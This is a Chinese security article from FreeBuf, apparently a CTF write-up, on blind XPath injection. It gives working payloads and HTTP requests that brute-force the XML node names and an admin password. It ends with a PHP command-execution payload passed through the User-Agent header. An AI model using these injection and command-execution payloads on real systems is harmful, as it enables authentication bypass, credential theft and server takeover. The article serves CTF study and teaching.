freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

一文读懂Xpath注入与利用
2023-12-18 16:36:44

1.前言

XPath注入是一种针对使用XPath(XML Path Language)的应用程序进行攻击的安全漏洞。XPath是一种用于在XML文档中定位信息的查询语言,类似于SQL中的查询语言。XPath注入类似于SQL注入,攻击者利用应用程序未正确验证用户输入的漏洞,向应用程序提交恶意构造的XPath查询,从而绕过认证、获取未授权的数据或执行未经授权的操作。

在一次CTF题目中,正巧碰到了该类型的注入,网上资料挺少的,于是记录一下。本文会全面讲解。

2.前置知识

首先举一个Xml的案例,在Xml语法中,是比较严格的。

比如:

<book>
  <title>Hello</title>
  <name>小明</name>
</book>

都为成对出现,而所谓的Xpath注入,其实和SQL注入类似,查询的是xml中的内容,比如节点名,节点下有哪些子节点,子节点里面有哪些内容等等。

比如一个账号密码写到了xml中,用户名aaa,密码123456。通过Xpath注入,就可以获取到其中的账号和密码,进行下一步操作。

<admin>
<user>aaa</user>
<pass>123456</pass>
<admin>

3.Xpath盲注

该题目打开之后是一个查询的页面:

当输入1'时候报错,显示有xpath错误等(目前结束了,只有当时留下的截图)

(找了个线上类似的CTF靶场,与原题不一样,但可以看看https://buuoj.cn/challenges#[NPUCTF2020]ezlogin)

1702888220_6580031ca0cc88a0d52ff.png!small?1702888223124

首先查询根节点数量:

'or count(/)=1  or ''='  ###根节点数量为1

'or count(/*)=1 or ''='  ##根节点下只有一个子节点

不过在原题中,count函数无法使用,所以后面多走了很多弯路。

查询根节点下的节点名称:

'or substring(name(/*[1]), 1, 1)='a'  or ''=' 

'or substring(name(/*[1]), 2, 1)='c'  or ''=' 

'or substring(name(/*[1]), 8, 1)='s'  or ''=' 

简单解释一下上面的语句,name其实可以理解为一个内置函数,查询的为根节点的名字,比如1,1判断第一个字符是否为a,这里可以直接用burp爆破来做测试,循环遍历a-zA-Z0-9即可。

查询根节点名称:

POST /query.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 63
Connection: close

{"student_id":"'or substring(name(/*[1]), 1, 1)='1'  or ' '='"}

最后爆破出来的根节点为:school

所以自己可以先行构造该xml为:

<school>

</school>

那么得知school为根节点之后,继续往后测试。

查询school下方节点:

'or substring(name(/school/[position()=1]/*[1]),1,1)='1'  or ' '='

此时[position()=1]/*[1])查询的则为根节点中,第一个子节点的名称,同理使用burp爆破即可。比如查询school下的第二个子节点,只需要改成[2]即可。

比如school下的第一个子节点为students。查询students下方的节点。/school/students/[position()=1]/*[1])来查询students中的第一个子节点....

经过依次类推:

POST /query.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 91
Connection: close

{"student_id":"'or substring(name(/school/students/student/[position()=1]/*[1]),1,1)='1'  or ' '='"}

最终得到整个xml语法结构:

<school>
<students>
	<student>
		<id></id>
		<name></name>
		<college></college>
	</student>
	<student>
		<id></id>
		<name></name>
		<college></college>
	</student>
	<student>
		<id></id>
		<name></name>
		<college></college>
	</student>
</students>
	<admin>
		<username></username>
		<password></password>
	<admin>
</school>

此时只知道整个xml的结构,就开始查询其中的内容。

这里有个坑,最开始没有查询school下的第二个子节点,也就是admin。导致一直在student节点里面玩....发现能查询出id,但name和college都为空。思路就停滞住了。一切的坑全部在count函数被禁用。导致一直以为只有一个节点...

{"student_id":"'or substring(name(/school/*[2]), 1, 1)='1' or ' '='} 这条语句此时就是查询的就是school下第二个节点的名字。最终查询出admin这个节点

然后继续查admin下方的节点:

比如<admin><子节点></子节点></admin>

{"student_id":"'or substring(name(/school/admin[position()=1]/*[2]),1,1)='1' or ' '='"}

跑内容的话相对简单,下方这条语句表示查询password中的内容,且判断的为第四位,这里继续用burp爆破即可。鸡肋的地方在于不知道啥时候结束。只能一个个往后爆破。带着点运气的手法了。

POST /query.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 83
Connection: close

{"student_id":"'or substring(/school/admin/password/text(), 4, 1)='1'  or ' '='"}
最终成果: admin xxxxxxx123 (密码这里随便写了一个)
<school>
<students>
	<student>
		<id>101</id>
		<name></name>
		<college></college>
	</student>
	<student>
		<id>102</id>
		<name></name>
		<college></college>
	</student>
	<student>
		<id>103</id>
		<name></name>
		<college></college>
	</student>
</students>
	<admin>
		<username>admin</username>
		<password>xxxxxxx123</password>
	<admin>
</school>

得知前面的账号密码后登录后台:

1702887925_658001f5a32166bb68cb4.png!small

登录后就是一个命令执行:

1702888026_6580025a4fe99cf847c97.png!small

但是只能执行phpinfo,无法执行其它命令。

最后通过在header中来执行命令~

POST /home.php HTTP/1.1
Host: 
User-Agent: 执行命令的地方
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 43

code=system(next(apache_request_headers()))

4.结尾

总体来说该题目很有意思,由于已结束,所以图可能比较少,具体可以看一下Xpath的文档:

https://www.w3school.com.cn/xpath/index.asp

# web安全 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录